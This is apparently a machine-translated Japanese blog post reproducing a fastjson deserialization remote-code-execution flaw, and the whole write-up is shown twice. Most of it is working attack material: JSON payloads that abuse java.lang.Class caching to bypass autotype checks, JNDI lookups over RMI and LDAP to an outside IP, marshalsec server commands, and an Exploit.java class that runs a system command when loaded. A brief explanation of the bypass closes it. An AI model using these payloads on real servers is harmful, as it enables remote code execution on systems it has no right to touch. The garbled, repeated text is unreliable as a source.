fastjsonのRCE脆弱性再現記録
2727 ワード
参照リンク:
https://paper.seebug.org/994/https://www.cnblogs.com/jinqi520/p/11097779.htmlhttps://xz.aliyun.com/t/5680
0 x 01脆弱性復元RMi
1. payload:
{"@type":"java.lang.Class",br/>"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl""@type":"com.sun.rowset.JdbcRowSetImpl",br/>},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://106.12.201.224:1099/Exploit","autoCommit":true}}
2.×××で実行する、rmiサービスjava-cp marshalsec-0.0.3-SNAPSHOT-allを起動します.jar marshalsec.jndi.RMIRefServer "http://106.12.201.224/#Exploit"コンパイル***スクリプト を生成
次のコードをExploitとして保存します.JAva実行:javac Exploit.JAva,classファイルの生成
0 x 02脆弱性再現LDAP
1. payload:
{"@type":"java.lang.Class",br/>"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl""@type":"com.sun.rowset.JdbcRowSetImpl",br/>},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://106.12.201.224:1389/Exploit","autoCommit":true}}
2.×××で実行する、rmiサービスjava-cp marshalsec-0.0.3-SNAPSHOT-allを起動します.jar marshalsec.jndi.LDAPRefServer "http://106.12.201.224/#Exploit"コンパイル***スクリプトExploitを生成する.JAvaではパケット をインポートしない
次のコードをExploitとして保存します.JAva実行:javac Exploit.JAva,classファイルの生成
0 x 03脆弱性原理
今回迂回した大体の考え方はjavaです.lang.Classは、JdbcRowSetImplクラスをmapキャッシュにロードし、autotypeの検出を迂回します.したがってpayloadを2回に分けて送信し,1回目のロード,2回目の実行を行う.デフォルトでは、キャッシュにロードされていないクラスに遭遇すると、checkautotypeは例外を投げ出して中止します.
最初のリクエストを送信とClassはdeserializersを通過する.findClassがロードされ、ClassがJdbcRowSetImplクラスをmapにロードし、2回目のリクエストでJdbcRowSetImplクラスが見つかり、検出を迂回しました.
https://paper.seebug.org/994/https://www.cnblogs.com/jinqi520/p/11097779.htmlhttps://xz.aliyun.com/t/5680
0 x 01脆弱性復元RMi
1. payload:
{"@type":"java.lang.Class",br/>"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl""@type":"com.sun.rowset.JdbcRowSetImpl",br/>},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://106.12.201.224:1099/Exploit","autoCommit":true}}
2.×××で実行する、rmiサービスjava-cp marshalsec-0.0.3-SNAPSHOT-allを起動します.jar marshalsec.jndi.RMIRefServer "http://106.12.201.224/#Exploit"
次のコードをExploitとして保存します.JAva実行:javac Exploit.JAva,classファイルの生成
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
0 x 02脆弱性再現LDAP
1. payload:
{"@type":"java.lang.Class",br/>"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl""@type":"com.sun.rowset.JdbcRowSetImpl",br/>},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://106.12.201.224:1389/Exploit","autoCommit":true}}
2.×××で実行する、rmiサービスjava-cp marshalsec-0.0.3-SNAPSHOT-allを起動します.jar marshalsec.jndi.LDAPRefServer "http://106.12.201.224/#Exploit"
次のコードをExploitとして保存します.JAva実行:javac Exploit.JAva,classファイルの生成
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
0 x 03脆弱性原理
今回迂回した大体の考え方はjavaです.lang.Classは、JdbcRowSetImplクラスをmapキャッシュにロードし、autotypeの検出を迂回します.したがってpayloadを2回に分けて送信し,1回目のロード,2回目の実行を行う.デフォルトでは、キャッシュにロードされていないクラスに遭遇すると、checkautotypeは例外を投げ出して中止します.
最初のリクエストを送信とClassはdeserializersを通過する.findClassがロードされ、ClassがJdbcRowSetImplクラスをmapにロードし、2回目のリクエストでJdbcRowSetImplクラスが見つかり、検出を迂回しました.